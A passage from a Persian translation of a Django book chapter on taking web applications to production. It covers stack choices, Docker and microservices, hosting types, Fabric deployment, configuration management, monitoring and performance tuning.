نیازهای فعلی (و آینده) داشته باشد.\n\nبر خلاف یک محیط توسعه، احتمال آسیب واقعی کسب و کار به دلیل هر گونه مسائل در یک محیط تولید بالا است. از این رو، قبل از حرکت به سمت تولید، کد به محیط‌های مختلف آزمایش و پذیرش منتقل می‌شود تا تا حد امکان از شر اشکالات خلاص شود. برای ردیابی آسان، هر تغییری که در محیط تولید ایجاد می‌شود باید ردیابی، مستند شده و برای همه اعضای تیم قابل دسترسی باشد.\n\nدر نتیجه، هیچ توسعه ای نباید به طور مستقیم در محیط تولید انجام شود. در واقع نیازی به نصب ابزارهای توسعه مانند کامپایلر یا دیباگر در محیط تولید نیست. وجود هر نرم افزار غیر ضروری سطح حمله سایت شما را افزایش می دهد و می تواند خطر امنیتی ایجاد کند.\n\nاکثر برنامه‌های کاربردی وب در سایت‌هایی با خرابی بسیار کم مستقر می‌شوند، به عنوان مثال، مراکز داده بزرگ در پنج 9، یعنی 99.999 درصد، آپتایم هستند. با طراحی برای خرابی، حتی اگر یک جزء داخلی خراب شود، افزونگی کافی برای جلوگیری از خرابی کل سیستم وجود دارد. مفهوم اجتناب از یک نقطه شکست (SPOF) را می توان در هر سطح، سخت افزار یا نرم افزار اعمال کرد.\n\nاین امر درواقع مجموعه ای مهم از نرم افزارهایی است که شما انتخاب می کنید تا در محیط تولید خود اجرا شوند.\n\n\n\n### انتخاب یک پشته وب(استک)\n\nتا کنون، ما در مورد استک یا پشته ای که برنامه شما روی آن اجرا می شود صحبت نکرده ایم. حتی اگر در انتهای این کتاب در مورد آن صحبت می کنیم، بهتر است چنین تصمیماتی را به مراحل بعدی چرخه حیات برنامه موکول نکنید. در حالت ایده‌آل، محیط توسعه شما باید تا حد امکان به محیط تولید نزدیک باشد تا از این جمله که می گوید اما در ماشین من کار می‌کند، جلوگیری شود.\n\nبا یک پشته وب، به مجموعه فناوری هایی اشاره می کنیم که برای ساخت یک برنامه وب استفاده می شوند. معمولاً به صورت مجموعه‌ای از مؤلفه‌ها، مانند سیستم عامل، پایگاه داده و وب سرور، که همگی روی یکدیگر جمع شده‌اند، نشان داده می‌شود. از این رو، از آن به عنوان پشته یاد می شود.\n\nما در اینجا عمدتاً روی راه حل های منبع باز تمرکز خواهیم کرد زیرا آنها به طور گسترده استفاده می شوند. با این حال، برنامه های تجاری مختلف نیز در صورتی که بیشتر با نیازهای شما مطابقت داشته باشند، می توانند مورد استفاده قرار گیرند. \n\n\n\n\n### کامپوننت های یک پشته\n\nیک پشته وب جنگو با استفاده از چندین نوع برنامه (یا لایه ها، بسته به اصطلاح شما) ساخته می شود. هنگام ساخت پشته وب خود، برخی از انتخاب هایی که ممکن است لازم باشد به شرح زیر است:\n- کدام سیستم عامل و توزیع؟ به عنوان مثال، دبیان، رد هت یا OpenBSD\n- کدام سرور WSGI؟ به عنوان مثال، Gunicorn یا uWSGI.\n- کدام وب سرور؟ به عنوان مثال، Apache یا Nginx.\n- کدام دیتابیس؟ به عنوان مثال، PostgreSQL، MySQL یا Redis\n- کدام سیستم کش؟ مثلا Memcached یا Redis.\n- کدام سیستم کنترل فرآیند و مانیتورینگ؟ به عنوان مثال، Upstart، Systemd، یا Supervisord.\n- چگونه رسانه های استاتیک را ذخیره کنیم؟ به عنوان مثال، Amazon S3 یا CloudFront\n\n\nممکن است چندین مورد دیگر وجود داشته باشد، و این انتخاب ها نیز متقابلاً منحصر به فرد نیستند. برخی از چندین مورد از این برنامه ها به صورت پشت سر هم استفاده می شوند. به عنوان مثال، در دسترس بودن نام کاربری ممکن است در Redis جستجو شود، در حالی که پایگاه داده اولیه ممکن است PostgreSQL باشد.\n\nوقتی نوبت به انتخاب پشته شما می رسد، هیچ پاسخی برای همه وجود ندارد. اجزای مختلف نقاط قوت و ضعف متفاوتی دارند. آنها را تنها پس از بررسی دقیق و آزمایش انتخاب کنید. به عنوان مثال، ممکن است شنیده باشید که Nginx یک انتخاب محبوب برای وب سرور است، اما ممکن است در واقع به اکوسیستم غنی ماژول ها یا گزینه های آپاچی نیاز داشته باشید.\n\nگاهی اوقات، انتخاب پشته بر اساس دلایل مختلف غیر فنی است. سازمان شما ممکن است روی یک سیستم عامل خاص مانند دبیان برای همه سرورهایش استاندارد شده باشد، یا ارائه دهنده هاست ابری شما ممکن است تنها مجموعه محدودی از پشته ها را پشتیبانی کند.\n\nاز این رو، نحوه انتخاب میزبانی برنامه جنگو یکی از عوامل کلیدی در تعیین تنظیمات تولید شما است.\n\n\n### ماشینهای مجازی یا داکر\n\nبسیاری از ما به استفاده از ماشین های مجازی چه در توسعه و چه در تولید آشنا هستیم. این ابزارها برنامه شما (ماشین مهمان) را از زیرساخت اصلی (ماشین میزبان) جدا می کنند. فناوری‌های کانتینری مانند Docker به طور فزاینده‌ای برای استقرار ابری، یا مکمل یا جایگزین ماشین‌های مجازی استفاده می‌شوند.\n\nکانتینرها ابزاری برای ایجاد چندین نمونه فضای کاربر بر روی یک هسته هستند. برخلاف ماشین‌های مجازی، کانتینرها از نیاز به راه‌اندازی اجتناب می‌کنند و سیستم‌عامل‌های مهمان مجزا را اجرا می‌کنند. به طور معمول، هر کانتینر یک برنامه کاربردی و وابستگی های آن را در یک نمونه فضای کاربری جدا از سایر کانتینرها بسته بندی می کند. برخلاف ماشین‌های مجازی، داکر نمونه جداگانه‌ای از سیستم عامل ندارد، که باعث می‌شود سبک‌تر و سریع‌تر شروع یا متوقف شود.\n\nداکر با اکوسیستم بزرگ و پشتیبانی گسترده در میان فروشندگان ابری، به فناوری انتخابی کانتینری تبدیل شده است. داکر ایمیج ها از یک ایمیج باینری به نام ایمیج پایه ایجاد می شوند یا به طور خودکار از یک اسکریپت به نام Dockerfile ساخته می شوند. این به شما کمک می کند تا همان محیط را در تولید برای اهداف توسعه یا آزمایش دوباره ایجاد کنید، بنابراین بهانه اما در دستگاه من کار کرد را پایان دهید.\n\n\n\n### میکروسرویس ها\n\nرایج ترین الگوی طراحی با استفاده از Docker، تجزیه برنامه ها و سرویس ها به میکروسرویس ها است. مزیت این است که میکروسرویس‌های فردی می‌توانند به طور مستقل توسعه یافته و به کار گرفته شوند، در حالی که در موقعیت‌های سخت انعطاف‌پذیرتر هستند. از این رو، فن‌آوری‌های کانتینری‌سازی مانند Docker به دلیل حداقل سطح سربار و ایزوله در سطح کاربرد، یک تناسب طبیعی است.\n\nمثال زیر یک مثال ساده از یک برنامه وب جنگو است که به عنوان میکروسرویس با استفاده از کانتینرها اجرا شده است:\n\n\n![Django application flow when deployed as distinct containers](1.jpg)\n\nاین میکروسرویس واحد از سه کانتینر با اجزای منطقی مجزا تشکیل شده است: ظرف Nginx (وب سرور)، کانتینر Gunicorn/Django (برنامه وب) و کانتینر PostgreSQL (پایگاه داده). هر ظرف از یک داکر ایمیج که ممکن است با استفاده از یک Dockerfile ساخته شود، نمونه سازی شده است.\n\nکانتینرهای Docker یک سیستم فایل زودگذر دارند، بنابراین داده‌های پایدار با ایجاد صریح یک حجم مدیریت می‌شوند. از ولوم ها می توان برای اشتراک گذاری داده ها بین کانتینرها استفاده کرد. در این حالت، فایل‌های استاتیک پروژه جنگو را می‌توان در کانتینر Nginx به اشتراک گذاشت تا مستقیماً به آن‌ها سرویس داده شود.\n\nهمانطور که می توانید تصور کنید، اکثر برنامه های کاربردی دنیای واقعی از چندین Microservice تشکیل شده اند و هر یک از آنها به چندین کانتینر نیاز دارند. اگر آنها را روی چندین سرور اجرا کنید، چگونه این کانتینرها را در آنها مستقر خواهید کرد؟ چگونه می‌توانید میکروسرویس‌های فردی را به سمت بالا یا پایین مقیاس کنید؟ Kubernetes گسترده ترین راه حل توصیه شده برای مدیریت چنین خوشه های کانتینری است.\n\nاگرچه ما در این بخش کانتینرها را در سطح بسیار بالایی پوشش داده‌ایم، اما جزئیات پیاده‌سازی زیادی مانند الگوهای استقرار وجود دارد که در اینجا نمی‌توان به آنها پرداخت، زیرا می‌توانند به تنهایی یک کتاب باشند. کانتینرها و ابزارهای ارکستراسیون با ایجاد آسان‌تر مدیریت محیط‌های برنامه به بخش مهمی از توسعه برنامه‌های کاربردی وب مدرن تبدیل شده‌اند.\n\n\n\n### میزبانی و هاستینگ\n\nوقتی نوبت به هاستینگ می رسد، باید مطمئن شوید که آیا به دنبال بستر(پلتفرم) میزبانی مانند Heroku هستید یا خیر. اگر اطلاعات زیادی در مورد مدیریت سرور ندارید یا کسی با آن دانش در تیم خود ندارید، پلتفرم میزبانی گزینه مناسبی است.\n\n\n### پلتفرم به عنوان سرویس\n\n**پلتفرم به عنوان سرویس** (PaaS)  یک سرویس ابری است که در آن راه حل از قبل برای شما ارائه و مدیریت شده است. پلتفرم های محبوب برای میزبانی جنگو عبارتند از Heroku، PythonAnywhere و Google App Engine.\n\nدر بیشتر موارد، استقرار یک برنامه جنگو باید به سادگی انتخاب سرویس‌ها یا اجزای پشته و خارج کردن کد منبع شما باشد. نیازی نیست خودتان هیچ گونه مدیریت یا راه اندازی سیستمی انجام دهید. پلتفرم به طور کامل مدیریت می شود.\n\nمانند بسیاری از سرویس های ابری، زیرساخت ها نیز می توانند بر اساس تقاضا مقیاس شوند. اگر به پایگاه داده یا رم بیشتر روی یک سرور نیاز دارید، می توان آن را به راحتی از یک رابط وب یا خط فرمان تهیه کنید. قیمت گذاری در درجه اول بر اساس استفاده شما است.\nنکته اصلی در مورد چنین پلتفرم های میزبانی این است که راه اندازی آنها بسیار آسان است و برای پروژه های کوچکتر ایده آل هستند. با افزایش تعداد کاربران، گران تر می شوند.\n\nنکته منفی دیگر این است که برنامه شما ممکن است به یک پلتفرم گره بخورد یا پورت کردن آن دشوار شود. به عنوان مثال، Google App Engine فقط برای پشتیبانی از یک پایگاه داده غیررابطه ای استفاده می شود، به این معنی که شما باید از django-nonrel، یک فورکی(کپی) از جنگو، استفاده کنید. این محدودیت اکنون با Google Cloud SQL تا حدودی کاهش یافته است.\n\n\n\n### سرورهای مجازی اختصاصی\n\nسرور خصوصی مجازی (VPS) یک ماشین مجازی است که در یک محیط مشترک میزبانی می شود. از دیدگاه توسعه‌دهنده، به نظر می‌رسد یک ماشین اختصاصی (از این رو، کلمه خصوصی) با یک سیستم عامل از قبل بارگذاری شده است. شما باید خودتان کل پشته را نصب و راه اندازی کنید، اگرچه بسیاری از ارائه دهندگان VPS مانند WebFaction و DigitalOcean تنظیمات جنگو را آسان تر ارائه می دهند.\n\nاگر مبتدی هستید و می توانید کمی وقت بگذارید، این روش را به شدت توصیه می کنم. به شما دسترسی ریشه (روت) داده می شود و می توانید کل پشته را خودتان بسازید. شما نه تنها متوجه خواهید شد که چگونه قطعات مختلف پشته به هم می رسند، بلکه کنترل کاملی در تنظیم دقیق هر جزء خواهید داشت.\n\nدر مقایسه با PaaS، VPS ممکن است ارزش بیشتری دربرابر پول پرداختی داشته باشد، به خصوص برای سایت های پربازدید. ممکن است بتوانید چندین سایت از یک سرور را نیز اجرا کنید.\n\n\n### سرورلس\n\nتصور کنید که نیاز به میزبانی سرویسی دارید که به ندرت استفاده می شود، اما پرداخت هزینه برای یک سرور اختصاصی که همیشه در حال اجرا است، هزینه بر یا ناکارآمد از نظر نگهداری است. به نظر میرسد در این حالت معماری های بدون سرور همان چیزی باشد که شما به دنبال آن هستید. نام بدون سرور یک نام اشتباه است زیرا تمام درخواست‌های مشتری در واقع توسط سرورهایی انجام می‌شوند که به صورت پویا برای طول عمر درخواست ارائه می‌شوند.\n\nاصطلاح مناسب‌تر Function as a Service (FaaS) است، زیرا این پلتفرم‌ها از اجرای یک منطق برنامه مانند یک تابع کوچک پایتون پشتیبانی می‌کنند اما هیچ حالتی را ذخیره نمی‌کنند. ساخت یک برنامه کاربردی متشکل از چنین توابعی کاملاً شبیه به معماری میکروسرویس است که قبلاً مورد بحث قرار گرفت.\n\nبه طور معمول، شما فقط برای میلی ثانیه زمان سروری که یک برنامه بدون سرور استفاده می کند، پرداخت می کنید، که آن را بسیار ارزان تر از سرورهای اختصاصی می کند. مقیاس‌بندی به‌طور خودکار انجام می‌شود، بنابراین هیچ تلاش اضافی برای رسیدگی به جهش‌های عظیم در ترافیک لازم نیست. نکته مهم دیگر اینکه هیچ دردسر راه اندازی و نگهداری زیرساخت سرور هم وجود ندارد.\n\nجنگو ممکن است به نظر در چنین محیطی کار نکند، اما Zappa استقرار برنامه های جنگو (در واقع، هر برنامه سازگار با WSGI) را بر روی یک پلتفرم بدون سرور مانند AWS Lambda با حداقل تغییرات آسان می کند. این امکان لذت بردن از تمام مزایای بدون سرور را در هنگام استفاده از جنگو باز می کند.\n\n\n\n### رویکردهای دیگر برای هاستینگ\n\nاگرچه میزبانی بر روی یک پلتفرم یا VPS دو گزینه محبوب میزبانی هستند، گزینه های زیاد دیگری نیز وجود دارد. اگر به افزایش کارایی علاقه دارید، می توانید یک سرور فیزیکی (bare metal) با هماهنگی از ارائه دهندگان، مانند Rackspace انتخاب کنید.\n\nدر انتهای سبک‌تر طیف میزبانی، می‌توانید با میزبانی چندین برنامه در کانتینرهای Docker در هزینه صرفه‌جویی کنید. داکر ابزاری برای بسته بندی برنامه ها و وابستگی های شما در یک کانتینر مجازی است. در مقایسه با ماشین‌های مجازی سنتی، کانتینر Docker سریع‌تر راه‌اندازی می‌شود و دارای کمترین میزان هزینه‌های سربار است (زیرا سیستم عامل یا هایپروایزر همراهی وجود ندارد).\n\nداکر برای میزبانی برنامه های برپایه میکروسرویس ایده آل است. تقریباً هر ارائه دهنده PaaS و VPS از آنها پشتیبانی می کند و در همه جا در حال فراگیر شدن است.\n\nهمچنین یک پلتفرم توسعه عالی است زیرا کانتینرهای داکر کل حالت برنامه را در خود محصور می کنند و می توانند مستقیماً در تولید دیپلوی و مستقر شوند.\n\n\n\n### ابزارهای استقرار سازی و دیپلوی\n\nهنگامی که راه حل میزبانی خود را به صفر رساندید، ممکن است چندین مرحله در فرآیند استقرار شما وجود داشته باشد، از اجرای تست های رگرسیون گرفته تا ایجاد خدمات پس زمینه.\n\nکلید یک فرآیند استقرار موفق، اتوماسیون است. از آنجایی که استقرار برنامه ها شامل یک سری مراحل کاملاً تعریف شده است، می توان به درستی به عنوان یک مشکل برنامه نویسی به آن نگاه کرد. هنگامی که یک استقرار اتوماسیون شده دارید، از ترس از دست دادن یک مرحله، لازم نیست نگران استقرار باشید.\n\nدر واقع، استقرار باید بدون درد و به همان اندازه که لازم است انجام شود. به عنوان مثال، تیم فیس بوک می تواند چندین بار در روز کد را برای تولید منتشر کند. با در نظر گرفتن پایگاه عظیم کاربر و پایگاه کد فیس بوک، این یک شاهکار چشمگیر است، با این حال، ضروری است زیرا رفع اشکالات و وصله های اضطراری باید در اسرع وقت اجرا شوند.\n\nیک فرآیند استقرار خوب نیز ناتوان است. به عبارت دیگر، حتی اگر به طور تصادفی ابزار استقرار را دو بار اجرا کنید، اقدامات نباید دو بار اجرا شوند (یا بهتر است بگوییم باید آن را در همان حالت رها کنید).\n\nبیایید نگاهی به برخی از ابزارهای محبوب برای استقرار برنامه های جنگو بیندازیم.\n\n\n\n### Fabric\n\nاین مورد به دلیل سادگی و سهولت استفاده در بین توسعه دهندگان وب پایتون مورد علاقه است. فایلی به نام fabfile.py را در نظر دارد که تمام اقدامات (برای استقرار یا غیره) در پروژه شما را تعریف میکند. هر یک از این اقدامات می تواند یک shell command محلی یا راه دور باشد. میزبان راه دور از طریق SSH متصل می شود.\n\nنقطه قوت اصلی Fabric توانایی آن در اجرای دستورات روی مجموعه ای از میزبان های راه دور است. به عنوان مثال، می توانید یک گروه **وب**را تعریف کنید که شامل نام میزبان همه وب سرورهای در حال تولید است.\n\n**نکته:** با تعیین نام گروه وب در خط فرمان، می‌توانید یک اکشن Fabric را فقط در برابر این سرورهای وب اجرا کنید.\nبرای نشان دادن وظایف مربوط به استقرار یک سایت با استفاده از Fabric، اجازه دهید نگاهی به یک سناریوی استقرار معمولی بیندازیم.\n\n\n### گام های ساده برای استقرار\n\nتصور کنید که یک برنامه وب با اندازه متوسط دارید که بر روی یک وب سرور واحد مستقر شده است. Git به عنوان ابزار کنترل نسخه و همکاری انتخاب شده است. یک مخزن مرکزی که با همه کاربران به اشتراک گذاشته شده است به شکل درخت Git برهنه ایجاد شده است.\n\nفرض کنید سرور تولید شما به طور کامل راه اندازی شده است. هنگامی که فرمان استقرار Fabric خود را اجرا می کنید، مثلاً fab deploy، دنباله اسکریپت زیر از اقدامات انجام می شود:\n1. تمام تست ها را به صورت محلی اجرا می کند\n2. تمام تغییرات محلی Git را انجام می دهد\n3. به یک مخزن مرکزی راه دور Git فشار می آورد\n4. در صورت وجود، تضادهای ادغام را حل می کند\n5. فایل های ثابت (CSS، تصاویر) را جمع آوری می کند.\n6. فایل های استاتیک را در سرور فایل استاتیک کپی می کند\n7. در میزبان راه دور، تغییرات را از یک مخزن مرکزی Git می کشد\n8. در میزبان راه دور، مهاجرت (پایگاه داده) را اجرا می کند\n9. در میزبان راه دور، app.wsgi را برای راه اندازی مجدد سرور WSGI لمس کنید\n\nکل فرآیند به صورت خودکار است و باید در چند ثانیه تکمیل شود. به طور پیش فرض، اگر هر مرحله ای با شکست مواجه شود، استقرار متوقف می شود. اگرچه به صراحت ذکر نشده است، اما بررسی هایی برای اطمینان از عدم توانمندی فرآیند وجود دارد.\nFabric هنوز با پایتون 3 سازگار نیست، اگرچه توسعه دهندگان در حال انتقال آن هستند. در عین حال، می‌توانید Fabric را در محیط مجازی Python 2.x اجرا کنید یا ابزارهای مشابهی مانند PyInvoke را بررسی کنید.\n\n\n\n### مدیریت پیکره بندی ها\n\nمدیریت چندین سرور در حالت های مختلف می تواند با Fabric سخت باشد. ابزارهای مدیریت پیکربندی مانند Chef، Puppet یا Ansible سعی می کنند یک سرور را به وضعیت مطلوبی برسانند.\n\nبر خلاف Fabric، که نیاز به تعیین فرآیند استقرار به شیوه ای ضروری دارد، این ابزارهای مدیریت پیکربندی بیانی هستند. شما فقط باید وضعیت نهایی را که می خواهید سرور در آن قرار داشته باشد، مشخص کنید و نحوه رسیدن به آنجا را مشخص می کند.\n\nبرای مثال، اگر می‌خواهید مطمئن شوید که سرویس Nginx در هنگام راه‌اندازی در تمام سرورهای وب شما اجرا می‌شود، باید وضعیت سروری را تعریف کنید که سرویس Nginx هم در حال اجرا و هم در هنگام راه‌اندازی است. از طرف دیگر، با Fabric، باید مراحل دقیق نصب و پیکربندی Nginx را برای رسیدن به چنین حالتی مشخص کنید.\n\nیکی از مهمترین مزایای ابزارهای مدیریت پیکربندی این است که به طور پیش فرض فاقد قدرت هستند. سرورهای شما می توانند از یک حالت ناشناخته به یک وضعیت شناخته شده بروند و در نتیجه مدیریت پیکربندی سرور آسان تر و استقرار قابل اعتماد را به همراه داشته باشند.\n\nدر میان ابزارهای مدیریت پیکربندی، Chef و Puppet از محبوبیت زیادی برخوردار هستند زیرا یکی از اولین ابزارها در این دسته بودند. با این حال، ریشه آنها در Ruby می تواند آنها را برای برنامه نویس پایتون کمی ناآشنا نشان دهد. برای چنین افرادی، ما Salt و Ansible را به عنوان جایگزین های عالی داریم.\n\nابزارهای مدیریت پیکربندی در مقایسه با ابزارهای ساده تر، مانند Fabric، منحنی یادگیری قابل توجهی دارند. با این حال، آنها ابزار ضروری برای ایجاد محیط های تولید قابل اعتماد هستند و مطمئنا ارزش یادگیری را دارند.\n\n\n### مانیتورینگ\n\nحتی یک وب سایت با اندازه متوسط می تواند بسیار پیچیده باشد. جنگو ممکن است یکی از صدها برنامه و سرویسی باشد که در حال اجرا و تعامل با یکدیگر هستند. همانطور که ضربان قلب و سایر علائم حیاتی را می توان به طور مداوم برای ارزیابی سلامت بدن انسان کنترل کرد، معیارهای مختلفی نیز در اکثر سیستم های تولیدی جمع آوری، تجزیه و تحلیل و ارائه می شوند.\n\nدر حالی که ثبت رویدادهای مختلف مانند ورود یک درخواست وب یا یک استثنا را پیگیری می کند، نظارت معمولاً به جمع آوری اطلاعات کلیدی به صورت دوره ای مانند استفاده از حافظه یا تأخیر شبکه اشاره دارد. با این حال، تفاوت ها در سطح برنامه محو می شوند، به عنوان مثال، هنگام نظارت بر عملکرد پرس و جو پایگاه داده، که ممکن است به خوبی از گزارش ها جمع آوری شود.\n\nنظارت همچنین به تشخیص زودهنگام مشکلات کمک می کند. الگوهای غیرمعمول، مانند سنبله ها یا افزایش تدریجی بار، می تواند نشانه ای از مشکلات اساسی بزرگتر مانند نشت حافظه باشد. یک سیستم مانیتورینگ خوب می تواند صاحبان سایت را از مشکلات قبل از وقوع آنها آگاه کند.\n\nابزارهای مانیتورینگ معمولاً به یک سرویس پشتیبان (گاهی اوقات به نام عوامل) برای جمع آوری آمار و سرویس ظاهری برای نمایش داشبوردها یا تولید گزارش نیاز دارند. پشتیبان های محبوب جمع آوری داده ها عبارتند از StatsD و Monit. این داده ها را می توان به ابزارهای frontend مانند Graphite منتقل کرد.\n\nچندین ابزار مانیتورینگ میزبان مانند New Relic و Status.io وجود دارد که راه‌اندازی و استفاده از آنها آسان‌تر است.\n\nاندازه گیری عملکرد یکی دیگر از نقش های مهم نظارت است. همانطور که به زودی در بخش بعدی خواهیم دید، هر بهینه سازی پیشنهادی باید قبل از اجرا به دقت اندازه گیری و نظارت شود.\n\n\n\n### بهبود کارایی\n\nعملکرد یک ویژگی است. مطالعات نشان می‌دهد که سایت‌های کند چگونه تأثیر نامطلوبی بر کاربران و در نتیجه درآمد دارند. به عنوان مثال آزمایش هایی در آمازون در سال 2007 نشان داد که به ازای هر 100 میلی ثانیه افزایش زمان بارگذاری [amazon.com](https://www.amazon.com/) فروش 1 درصد کاهش می یابد.\n\nبا اطمینان، چندین برنامه وب با کارایی بالا مانند Disqus و Instagram بر روی جنگو ساخته شده اند. در Disqus، در سال 2013، آنها می‌توانستند 1.5 میلیون کاربر متصل همزمان، 45000 اتصال جدید در ثانیه، 165000 پیام در ثانیه را با تأخیر سرتاسر کمتر از 0.2 ثانیه مدیریت کنند.\n\nکلید بهبود عملکرد، یافتن تنگناهاست. به جای تکیه بر حدس و گمان، همیشه توصیه می شود که برنامه خود را اندازه گیری و نمایه کنید تا این گلوگاه های عملکرد را شناسایی کنید. همانطور که لرد کلوین می گوید:\n- \"اگر نتوانید آن را اندازه گیری کنید، نمی توانید آن را بهبود ببخشید\"\n\n\nدر بیشتر برنامه‌های کاربردی وب، گلوگاه‌ها احتمالاً در انتهای مرورگر یا پایگاه داده به جای جنگو هستند. با این حال، برای کاربر، کل برنامه باید پاسخگو باشد.\n\nبیایید به برخی از راه های بهبود عملکرد یک برنامه جنگو نگاهی بیندازیم. به دلیل تکنیک‌های بسیار متفاوت، نکات به دو بخش تقسیم می‌شوند: قسمت جلویی و پشتیبان.\n\n\n### کارایی سمت فرانت\n\nبرنامه نویسان جنگو ممکن است عملکرد frontend را نادیده بگیرند زیرا با درک نحوه عملکرد سمت کلاینت، معمولاً یک مرورگر، سروکار دارد. با این حال، بیایید از مطالعه استیو سادرز در مورد 10 وب سایت برتر رتبه بندی الکسا نقل قول کنیم:\n- \"80 تا 90 درصد از زمان پاسخ‌دهی کاربر نهایی در قسمت فرانت صرف می‌شود. از آنجا شروع کنید.\"\n\nیک نقطه شروع خوب برای بهینه سازی frontend این است که سایت خود را با سرعت صفحه گوگل یا یاهو بررسی کنید! YSlow (معمولاً به عنوان پلاگین مرورگر استفاده می شود). این ابزارها سایت شما را رتبه بندی می کنند و بهترین روش ها را توصیه می کنند، مانند به حداقل رساندن تعداد درخواست های HTTP یا gzip نمودن محتوا.\n\nبه عنوان بهترین روش، دارایی های استاتیک شما، مانند تصاویر، شیوه نامه ها و فایل های جاوا اسکریپت، نباید از طریق جنگو ارائه شوند. به جای یک فایل سرور استاتیک و ثابت، فضای ذخیره سازی ابری مانند آمازون S3 یا یک شبکه **تحویل محتوا** (CDN) باید برای عملکرد بهتر مورد استفاده قرار گیرد.\n\n\nحتی در این صورت، جنگو می‌تواند به چندین روش به شما در بهبود عملکرد frontend کمک کند:\n- کش بی نهایت با CachedStaticFilesStorage: سریع ترین راه برای بارگیری assets ایستا، استفاده از حافظه پنهان مرورگر است. با تنظیم زمان کش طولانی، می توانید از بارگیری مجدد همان دارایی دوباره و دوباره خودداری کنید. با این حال، چالش این است که بدانیم چه زمانی از حافظه پنهان هنگام تغییر محتوا استفاده نکنیم. \n    - کلاس CachedStaticFilesStorage این مشکل را با افزودن هش MD5 asset به نام فایل حل می کند. به این ترتیب می توانید TTL کش را برای این فایل ها بی نهایت افزایش دهید.\n    - برای استفاده از این، تنظیم CACHES با نام staticfiles را روی CachedStaticFilesStorage تنظیم کنید یا اگر فضای ذخیره سازی سفارشی دارید، از CachedFilesMixin ارث بری نمایید. همچنین، بهتر است کش های خود را به گونه ای پیکربندی کنید که از پشتیبان کش حافظه محلی برای انجام نام فایل استاتیک در جستجوی نام هش شده آن استفاده کند.\n- از یک asset manager ایستا استفاده کنید: یک asset manager می تواند دارایی های استاتیک شما را از قبل پردازش کند تا آنها را کوچک کند، فشرده یا به هم متصل کند، در نتیجه اندازه آنها را کاهش داده و درخواست ها را به حداقل برساند. همچنین می‌تواند آنها را از قبل پردازش کند و به شما امکان می‌دهد آن‌ها را به زبان‌های دیگر بنویسید، مانند CoffeeScript و stylesheets از لحاظ نحوی عالی (Sass). چندین بسته جنگو وجود دارد که asset manager ثابت مانند django-pipeline یا websets را ارائه می دهد.\n\n\n\n### کارایی سمت بک اند\nدامنه کارایی سمت Backend تمامی وب استک سمت سرور شما را شامل می شود، از جمله پرس و جوهای پایگاه داده، رندر قالب، ذخیره سازی و کارهایی که در پس زمینه انجام می شوند. ممکن است بالاترین عملکرد را از آنها استخراج کنید زیرا کاملاً در کنترل شما است.\n\nبرای نیازهای پروفایل سریع و آسان، django-debug-toolbar بسیار مفید است. همچنین می‌توانیم از ابزارهای پروفایل پایتون مانند ماژول hotshot برای تجزیه و تحلیل دقیق استفاده کنیم. در جنگو، می توانید از یکی از چندین قطعه میان افزار پروفایل برای نمایش خروجی هات شات در مرورگر استفاده کنید. \n\nراه‌حلی که اخیراً برای ایجاد نمایه زنده وجود دارد، django-silk است. تمام درخواست‌ها و پاسخ‌ها را در پایگاه داده پیکربندی شده ذخیره می‌کند و اجازه تجزیه و تحلیل انبوه در یک سشن کاربر را میدهد، که بدترین عملکردها را پیدا کند. همچنین می‌تواند با افزودن یک دکوراتور، هر قطعه کد پایتون را نمایه کند.\n\nمانند قبل، نگاهی به برخی از راه‌های بهبود عملکرد Backend خواهیم انداخت. با این حال، با توجه به اینکه آنها به خودی خود موضوعات گسترده ای هستند، در بخش هایی دسته بندی شده اند. بسیاری از این موارد قبلاً در فصل‌های قبلی پوشش داده شده‌اند، اما برای ارجاع آسان در اینجا خلاصه شده‌اند.\n\n\n\n### تمپلیت ها\n\nهمانطور که مستندات نشان می دهد، شما باید تمپلیت لودر ذخیره شده را در مرحله تولید فعال کنید. این کار باعث می‌شود که هر بار که قالب‌ها نیاز به رندر شدن داشته باشند، از کامپایل مجدد آن جلوگیری می‌شود. قالب ذخیره شده در حافظه پنهان اولین باری که نیاز است کامپایل می شود و سپس در حافظه ذخیره می شود. درخواست های بعدی برای همان الگو از حافظه ارائه می شود.\n\nاگر متوجه شدید که زبان قالب دیگری مانند Jinja2 صفحه شما را به طور قابل توجهی سریعتر ارائه می کند، جایگزین کردن زبان قالب داخلی جنگو بسیار آسان است.\n\n\n### دیتابیس\n\nگاهی اوقات، Django ORM می تواند کد SQL ناکارآمد تولید کند. چندین الگوی بهینه سازی برای بهبود این امر وجود دارد که به شرح زیر است:\n- کاهش بازدیدهای پایگاه داده با select_related: اگر از یک رابطه یک به یک یا یک کلید خارجی، در جهت فوروارد، برای تعداد زیادی از اشیاء استفاده می کنید، select_related() می تواند یک جوین را انجام دهد و تعداد بازدیدهای پایگاه داده را کاهش دهد.\n- کاهش بازدید پایگاه داده با prefetch_related: برای دسترسی به متد ManyToManyField یا یک رابطه کلید خارجی در جهت معکوس، یا یک رابطه کلید خارجی در تعداد زیادی از اشیاء، استفاده از prefetch_related را برای کاهش تعداد بازدیدهای پایگاه داده در نظر بگیرید.\n- واکشی فیلدهای مورد نیاز با ولیوها یا values_list: می‌توانید با محدود کردن کوئری‌ها برای بازگشت فیلدهای مورد نیاز و چشم پوشی کردن از نمونه‌سازی مدل با استفاده از values() یا values_list در زمان و استفاده از حافظه صرفه‌جویی کنید.  \n- مدل‌های دینرمال شده: denormalization انتخابی، کارایی را از طریق کاهش جوین ها برای افزایش سازگاری داده‌ها بهبود می‌بخشد. همچنین می توان از آن برای پیش محاسبه مقادیر، مانند مجموع فیلدها یا گزارش وضعیت فعال در یک ستون اضافی استفاده کرد. در مقایسه با استفاده از مقادیر مشروح در پرس و جوها، فیلدهای غیرعادی شده اغلب ساده تر و سریعتر هستند.\n- یک شاخص اضافه کنید: اگر یک کلید غیر اصلی در جستارهای شما زیاد جستجو می شود، db_index آن فیلد را در تعریف مدل خود روی True قرار دهید.\n- ایجاد، به روز رسانی و حذف چندین ردیف به طور همزمان: چندین شی را می توان در یک کوئری پایگاه داده واحد با متدهای bulk_create()، update() و delete() اجرا کرد. با این حال، آنها با چندین اخطار مهم مانند چشم پوشی از متد save() در آن مدل همراه هستند. بنابراین، قبل از استفاده از آنها، اسناد را به دقت بخوانید.\n\nبه‌عنوان آخرین راه‌حل، همیشه می‌توانید عبارات SQL خام را با استفاده از تخصص کارایی پایگاه داده تنظیم کنید. با این حال، حفظ کد SQL می تواند در طول زمان دردناک باشد.\n\n\n\n### ذخیره سازی\n\nهر محاسباتی که زمان می برد می تواند از مزیت ذخیره سازی استفاده کند و نتایج از پیش محاسبه شده را سریعتر بازگرداند. با این حال، مشکل داده‌های قدیمی است یا اغلب به عنوان یکی از سخت‌ترین 